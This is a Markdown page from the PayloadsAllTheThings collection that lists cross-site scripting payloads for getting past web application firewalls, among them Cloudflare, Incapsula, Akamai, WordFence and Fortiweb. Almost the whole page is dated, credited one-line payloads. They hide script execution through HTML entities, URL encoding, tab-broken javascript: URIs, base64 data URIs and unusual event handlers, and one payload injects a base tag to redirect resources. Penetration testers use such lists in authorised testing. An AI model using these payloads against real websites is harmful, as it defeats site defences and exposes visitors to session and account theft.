PayloadsAllTheThings/XSS Injection/XSS Common WAF Bypass.md

# Common WAF Bypass

## Summary

* [Cloudflare](#cloudflare)
* [Chrome Auditor](#chrome-auditor)
* [Incapsula WAF](#incapsula-waf)
* [Akamai WAF](#akamai-waf)
* [WordFence WAF](#wordfence-waf)
* [Fortiweb WAF](#fortiweb-waf)

## Cloudflare

* 25st January 2021 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
    ```js
    <svg/onrandom=random onload=confirm(1)>
    <video onnull=null onmouseover=confirm(1)>
    ```

* 21st April 2020 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
    ```js
    <svg/OnLoad="`${prompt``}`">
    ```

* 22nd August 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
    ```js
    <svg/onload=%26nbsp;alert`bohdan`+
    ```

* 5th June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
    ```js
    1'"><img/src/onerror=.1|alert``>
    ```

* 3rd June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
    ```js
    <svg onload=prompt%26%230000000040document.domain)>
    <svg onload=prompt%26%23x000000028;document.domain)>
    xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
    ```

* 22nd March 2019 - @RakeshMane10
    ```js
    <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
    ```

* 27th February 2018
    ```html
    <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
    ```

## Chrome Auditor

NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.

* 9th August 2018
    ```javascript
    </script><svg><script>alert(1)-%26apos%3B
    ```


## Incapsula WAF

* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593)
    ```js
    <svg onload\r\n=$.globalEval("al"+"ert()");>
    ```

* 8th March 2018 - [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)
    ```javascript
    anythinglr00</script><script>alert(document.domain)</script>uxldz
    anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
    ```

* 11th September 2018 - [@c0d3G33k](https://twitter.com/c0d3G33k)
    ```javascript
    <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
    ```


## Akamai WAF

* 18th June 2018 - [@zseano](https://twitter.com/zseano)
    ```javascript
    ?"></script><base%20c%3D=href%3Dhttps:\mysite>
    ```

* 28th October 2018 - [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480)
    ```svg
    <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
    ```


## WordFence WAF

* 12th September 2018 - [@brutelogic](https://twitter.com/brutelogic)
    ```html
    <a href=javas&#99;ript:alert(1)>
    ```

## Fortiweb WAF

* 9th July 2019 - [@rezaduty](https://twitter.com/rezaduty)
    ```javascript
    \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
    ```